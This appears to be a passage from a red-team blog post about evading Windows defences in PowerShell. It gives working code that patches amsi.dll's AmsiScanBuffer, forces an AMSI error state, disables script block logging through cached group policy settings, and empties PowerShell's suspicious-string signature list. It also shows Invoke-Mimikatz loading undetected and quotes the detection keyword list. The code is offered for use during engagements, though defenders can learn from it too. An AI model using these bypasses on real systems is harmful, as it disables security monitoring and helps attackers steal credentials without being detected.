So it turns out that this solution isn’t really a true restriction to operator’s who simply modify their command to bypass AMSI. What is interesting about this development however, is that there now seems to be a concerted effort to stop attackers from using a known command to bypass AMSI. I doubt that this will be the end to this cat-and-mouse game, so I wanted to take a further look at how AMSI is working in PowerShell, and see if we could identify any other interesting bypasses.

AMSI Bypass – Patching amsi.dll AmsiScanBuffer

One way that seemed an intuitive way of evading AMSI was to patch out exported functions from AMSI.dll, the library responsible for gluing together Defender and PowerShell. After starting down this road, I actually found that the technique was already presented by Tal Lieberman during his Blackhat talk “The Rise and Fall of AMSI”. This method shows an alternative approach to AMSI evasion, and we will cover the fundamentals here to give you an idea of just how this technique can be applied.
This method uses .NET’s interop functionality to patch “amsi.dll”’s exported function “AmsiScanBuffer”, which is invoked from PowerShell as a way to check if a command is malicious. By modifying the function body by injecting our own assembly code, we can create a small stub which will always return a code indicating that a command is non-malicious.
As the AMSI DLL is loaded into PowerShell’s address space during execution, we simply p/invoke the Win32 API’s to replace the function’s body with our new stub which will return before the command is scanned. Crafted, we have something like this:
$win32 = @"
using System.Runtime.InteropServices;
using System;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect
);
}
"@
Add-Type $win32
$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary("amsi.dll"), "AmsiScanBuffer”)
$b = 0
[Win32]::VirtualProtect($ptr, [UInt32]5, 0x40, [Ref]$b)
$buf = New-Object Byte[] 7
$buf[0] = 0x66; $buf[1] = 0xb8; $buf[2] = 0x01; $buf[3] = 0x00; $buf[4] = 0xc2; $buf[5] = 0x18; $buf[6] = 0x00;
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 7)
Here we are simply grabbing the exported function using “GetProcAddress”, ensuring that we can write to the function body using “VirtualProtect” by marking the page as read/write/execute, and then using the “Copy” function to update the function with our new 7 byte stub.
When executed, the patched AmsiScanBuffer method looks like this:
Then if we attempt to load Invoke-Mimikatz:
Brilliant, no AMSI alerting or Defender showing up our script load.
The take-away from this technique, is that by having full access to the memory space of the process, it’s actually pretty difficult to stop the modification of functions which attempt to essentially report on their own malicious activity.
Now that we have a nice alternative technique to bypass AMSI, let’s try and find something a bit different which doesn’t involve the modification of unmanaged code.

AMSI Bypass – Forcing an error

We now know from the above test that Windows Defender is blocking based on signatures, and any attempt to reference “amsiInitFailed” is likely high on the agenda of endpoint security products given its prevalence. So how about we actually attempt to force a genuine error state, which should in turn set this flag for us?
After a bit of searching on a train journey to London, I found that it was actually trivial to force this error condition by controlling 2 variables used by the AMSI assembly, “amsiSession” and “amsiContext”.
Let’s first take a look first at the code which controls the setting of the “amsiInitFailed” flag within the “AmsiUtils.ScanContent” method:

int hresult = 0;
if (AmsiUtils.amsiContext == IntPtr.Zero)
{
hresult = AmsiUtils.Init();
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return;  AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}
if (AmsiUtils.amsiSession == IntPtr.Zero)
{
hresult = AmsiUtils.AmsiNativeMethods.AmsiOpenSession(AmsiUtils.amsiContext, refAmsiUtils.amsiSession);
AmsiUtils.AmsiInitialized = true;
if (!Utils.Succeeded(hresult))
{
AmsiUtils.amsiInitFailed = true;
return AmsiUtils.AmsiNativeMethods.AMSI_RESULT.AMSI_RESULT_NOT_DETECTED;
}
}

Here we see 2 conditions which could result in this flag being set legitimately… that is if either “AmsiUtils.Init()” or “AmsiUtils.AmsiNativeMethods.AmsiOpenSession(…)” were to fail. We will focus on “AmsiOpenSession” for the purposes of this post, which is a native function exported from “amsi.dll”.
Let’s look at a disassembly of this function to see what is happening when it’s called by PowerShell:
Interestingly, we see that if we can get “AmsiOpenSession(…)” to be invoked with an “amsiContext” pointer which does not contain a 4 byte value of “AMSI” at offset 0x00, an error will be returned from the function of 0x80070057 (or E_INVALIDARG). When this error is returned back to PowerShell, “Utils.Succeeded(…)” will fail and “amsiInitFailed” will be set for us.
So how can we force this condition? To do this we will need to follow a few steps:
  1. Allocate a region of unmanaged memory which will be used as our fake “amsiContext”.
  2. Assign this allocated memory to the variable “amsiContext”.
  3. Set “amsiSession” to $null which will force the “AmsiOpenSession(..)” amsi.dll method, passing our controlled amsiContext memory region, and result in an error being returned.
Collated, we have the following command sequence:
$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076)[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null$null);[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext","NonPublic,Static").SetValue($null, [IntPtr]$mem)
Executing this snippet, and attaching a debugger to Powershell.exe, we can see the expected error code being returned:
Now if we check for “amsiInitFailed”, we can see that this value has now been set:
And we can now try to load Invoke-Mimikatz:
Awesome, another way to get around AMSI.
Hopefully what you are seeing here is that although AMSI is a pretty good speed bump, if we understand just how the technology works in the background, we actually see that it is trivial to disable during a campaign.
Now that we have an idea of just how to find these kinds of bypasses, let’s turn our attention to another area of PowerShell security which may cause some issues during an engagement, PowerShell script block logging.

PowerShell Script Block Logging

If you haven’t yet come across this functionality yet, I recommend checking out this introduction post from Microsoft which covers the introduced logging support during PowerShell v5.
Essentially, script block logging gives blue-team the option to enable auditing of scripts being executed within PowerShell. Whilst this has obvious advantages, the huge benefit of this method is the ability to unpack obfuscated scripts into a readable form. For example, if we invoke an obfuscated command passed through Invoke-Obfuscate:
We see that our activity is logged using the decoded and deobfuscated PowerShell command:
Feed this into a log correlation tool, and the SOC has a brilliant way of logging and identifying malicious activity across a network.
So how as the red-team do we get around this? Let’s first take a look at the implementation of Powershell logging under the hood and find out.
To begin, we need to again disassemble the System.Management.Automation.dll assembly and search for the point at which script logging has been enabled.
If we review “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled”, we see:
internal static bool ScriptBlockLoggingExplicitlyDisabled()
{
Dictionary<stringobject> groupPolicySetting = Utils.GetGroupPolicySetting("ScriptBlockLogging", Utils.RegLocalMachineThenCurrentUser);
object obj;
return groupPolicySetting != null && groupPolicySetting.TryGetValue("EnableScriptBlockLogging"out obj) && string.Equals("0", obj.ToString(), StringComparison.OrdinalIgnoreCase);
}
This looks like a good place to start given our knowledge of how script block logging is rolled out. Here we find that the setting to enable or disable script logging is returned from the method “Utils.GetGroupPolicySetting(…)”. Digging into this method, we see:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringsettingName, RegistryKey[] preferenceOrder)
{
returnUtils.GetGroupPolicySetting("Software\\Policies\\Microsoft\\Windows\\PowerShell", settingName, preferenceOrder);
}
Contained here we have a further call which provides the registry key path and the setting we want to grab, which is passed to:
internal static Dictionary<stringobject> GetGroupPolicySetting(stringgroupPolicyBase, string settingName, RegistryKey[] preferenceOrder)
{
ConcurrentDictionary<string, Dictionary<stringobject>> obj = Utils.cachedGroupPolicySettings;
...
if (!InternalTestHooks.BypassGroupPolicyCaching && Utils.cachedGroupPolicySettings.TryGetValue(key, out dictionary))
{
return dictionary;
}
...
}
And here we see a reference to the property “Utils.cachedGroupPolicySettings”. This ConcurrentDictionary<T> is used to store a cached version of the registry settings which enable / disable logging (as well as a variety of other PowerShell auditing features), presumably to increase performance during runtime rather than attempting to look up this value from the registry each time a command is executed.
Now that we understand just where these preferences are held during runtime, let’s move onto how we go about disabling this logging.

PowerShell script block logging – Bypass

We have seen that “cachedGroupPolicySettings” will be the likely target of our modification. The theory is that by manipulating the contents of “cachedGroupPolicySettings”, we should be able to trick PowerShell into believing that the registry key which was cached disables logging. This of course also has the benefit that we will never touch the actual registry value.
To update this dictionary within PowerShell, we can again turn to reflection. The “cachedGroupPolicySettings” dictionary key will need to be set to the registry key path where the PowerShell script blog logging functionality is configured, which in our case is “HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging”. The value will be a Dictionary<string,object> object pointing to our modified configuration value, which will be “EnableScriptBlockLogging” set to “0”.
Put together, we have a snippet that looks like this:
$settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"] = @{}
$settings["HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging"].Add("EnableScriptBlockLogging""0")
And this is all it actually takes to ensure that events are no longer recorded:
It is important to note that as script block logging is enabled up until this point, this command will end up in the log. I will leave the exercise of finding a workaround to this to the reader.
While looking to see if this technique was already known, I actually came across a pull request in the Empire framework adding this functionality, courtesy of @cobbr_io.
This was later merged into Empire, which means that if you want to avoid PowerShell script block logging, the Empire framework already has you covered.
So, what about if we are operating in an environment in which script block logging has not been configured, we should be good to go right?… Unfortunately, no.

PowerShell Logging – Suspicious Strings

If we continue digging in PowerShell’s logging code, eventually we come to a method named “ScriptBlock.CheckSuspiciousContent”:
internal static string CheckSuspiciousContent(Ast scriptBlockAst)
{
IEnumerable<string> source = ScriptBlock.TokenizeWordElements(scriptBlockAst.Extent.Text);
ParallelOptions parallelOptions = new ParallelOptions();
string foundSignature = null;
Parallel.ForEach<string>(source, parallelOptions, delegate(string element, ParallelLoopState loopState)
{
if (foundSignature == null && ScriptBlock.signatures.Contains(element))
{
foundSignature = element;
oopState.Break();
}
});
if (!string.IsNullOrEmpty(foundSignature))
{
return foundSignature;
}
if (!scriptBlockAst.HasSuspiciousContent)
{
return null;
}
Ast ast2 = scriptBlockAst.Find((Ast ast) => !ast.HasSuspiciousContent && ast.Parent.HasSuspiciousContent, true);
if (ast2 != null)
{
return ast2.Parent.Extent.Text;
}
return scriptBlockAst.Extent.Text;
}
Here we have a method which will iterate through a provided script block, and attempt to assess if its execution should be marked as suspicious or not. Let’s have a look at the list of signatures which can be found in the variable “Scriptblock.signatures”:

private static HashSet<string> signatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase)
{
"Add-Type",
"DllImport",
"DefineDynamicAssembly",
"DefineDynamicModule",
"DefineType",
"DefineConstructor",
"CreateType",
"DefineLiteral",
"DefineEnum",
"DefineField",
"ILGenerator",
"Emit",
"UnverifiableCodeAttribute",
"DefinePInvokeMethod",
"GetTypes",
"GetAssemblies",
"Methods",
"Properties",
"GetConstructor",
"GetConstructors",
"GetDefaultMembers",
"GetEvent",
"GetEvents",
"GetField",
"GetFields",
"GetInterface",
"GetInterfaceMap",
"GetInterfaces",
"GetMember",
"GetMembers",
"GetMethod",
"GetMethods",
"GetNestedType",
"GetNestedTypes",
"GetProperties",
"GetProperty",
"InvokeMember",
"MakeArrayType",
"MakeByRefType",
"MakeGenericType",
"MakePointerType",
"DeclaringMethod",
"DeclaringType",
"ReflectedType",
"TypeHandle",
"TypeInitializer",
"UnderlyingSystemType",
"InteropServices",
"Marshal",
"AllocHGlobal",
"PtrToStructure",
"StructureToPtr",
"FreeHGlobal",
"IntPtr",
"MemoryStream",
"DeflateStream",
"FromBase64String",
"EncodedCommand",
"Bypass",
"ToBase64String",
"ExpandString",
"GetPowerShell",
"OpenProcess",
"VirtualAlloc",
"VirtualFree",
"WriteProcessMemory",
"CreateUserThread",
"CloseHandle",
"GetDelegateForFunctionPointer",
"kernel32",
"CreateThread",
"memcpy",
"LoadLibrary",
"GetModuleHandle",
"GetProcAddress",
"VirtualProtect",
"FreeLibrary",
"ReadProcessMemory",
"CreateRemoteThread",
"AdjustTokenPrivileges",
"WriteByte",
"WriteInt32",
"OpenThreadToken",
"PtrToString",
"FreeHGlobal",
"ZeroFreeGlobalAllocUnicode",
"OpenProcessToken",
"GetTokenInformation",
"SetThreadToken",
"ImpersonateLoggedOnUser",
"RevertToSelf",
"GetLogonSessionData",
"CreateProcessWithToken",
"DuplicateTokenEx",
"OpenWindowStation",
"OpenDesktop",
"MiniDumpWriteDump",
"AddSecurityPackage",
"EnumerateSecurityPackages",
"GetProcessHandle",
"DangerousGetHandle",
"CryptoServiceProvider",
"Cryptography",
"RijndaelManaged",
"SHA1Managed",
"CryptoStream",
"CreateEncryptor",
"CreateDecryptor",
"TransformFinalBlock",
"DeviceIoControl",
"SetInformationProcess",
"PasswordDeriveBytes",
"GetAsyncKeyState",
"GetKeyboardState",
"GetForegroundWindow",
"BindingFlags",
"NonPublic",
"ScriptBlockLogging",
"LogPipelineExecutionDetails",
"ProtectedEventLogging"
};

What this means is that if your command contains any of the above strings an event will be logged, even if no script block logging has been configured. For example, if we execute a command which matches a suspicious signature on an environment not configured with logging, such as:
Write-Host “I wouldn’t want to call DeviceIoControl here”
We see that the token “DeviceIoControl” is identified as suspicious and our full command is added to the Event Log:
So how do we go about evading this? Let’s see how our suspicious command is handled by PowerShell:
internal static void LogScriptBlockStart(ScriptBlock scriptBlock, Guid runspaceId)
{
bool force = false;
if (scriptBlock._scriptBlockData.HasSuspiciousContent)
{
force = true;
}
ScriptBlock.LogScriptBlockCreation(scriptBlock, force);
if(ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockInvocationLogging"))
{
PSEtwLog.LogOperationalVerbose(PSEventId.ScriptBlock_Invoke_Start_Detail, PSOpcode.Create, PSTask.CommandStart, PSKeyword.UseAlwaysAnalytic, newobject[]
{
scriptBlock.Id.ToString(),
runspaceId.ToString()
});
}
}
Here we can see that the “force” local variable is set depending on if our command is detected as suspicious or not. This is then passed to “ScriptBlock.LogScriptBlockCreation(…)” to force logging:
internal static void LogScriptBlockCreation(ScriptBlock scriptBlock, boolforce)
{
if ((force || ScriptBlock.ShouldLogScriptBlockActivity("EnableScriptBlockLogging")) && (!scriptBlock.HasLogged || InternalTestHooks.ForceScriptBlockLogging))
{
if (ScriptBlock.ScriptBlockLoggingExplicitlyDisabled() || scriptBlock.ScriptBlockData.IsProductCode)
{
return;
}
...
}
}
Above we can see that the decision to log is based on the “force” parameter, however we are able to exit this method without logging if the “ScriptBlock.ScriptBlockLoggingExplicitlyDisabled()” method returns true.
As we know from the above walkthrough, we already control how this method returns, meaning that we can repurpose our existing script block logging bypass to ensure that any suspicious strings are also not logged.
There is a second bypass here however that we can use when operating in an environment with only this kind of implicit logging. Remember that list of suspicious strings… how about we just truncate that list, meaning that no signatures will match?
Using a bit of reflection, we can use the following command to do this:
[Ref].Assembly.GetType("System.Management.Automation.ScriptBlock").GetField("signatures","NonPublic,static").SetValue($null, (New-Object'System.Collections.Generic.HashSet[string]'))
Here we set the “signatures” variable with a new empty hashset, meaning that the “force” parameter will never be true, bypassing logging:
Hopefully this post has demonstrated a few alternative ways of protecting your operational security when using your script arsenal. As we continue to see endpoint security solutions focusing on PowerShell, I believe that ensuring we know just how these security protections work will not only improve our attempts to avoid detection during an engagement, but also help defenders to understand the benefits and limitations to monitoring PowerShell.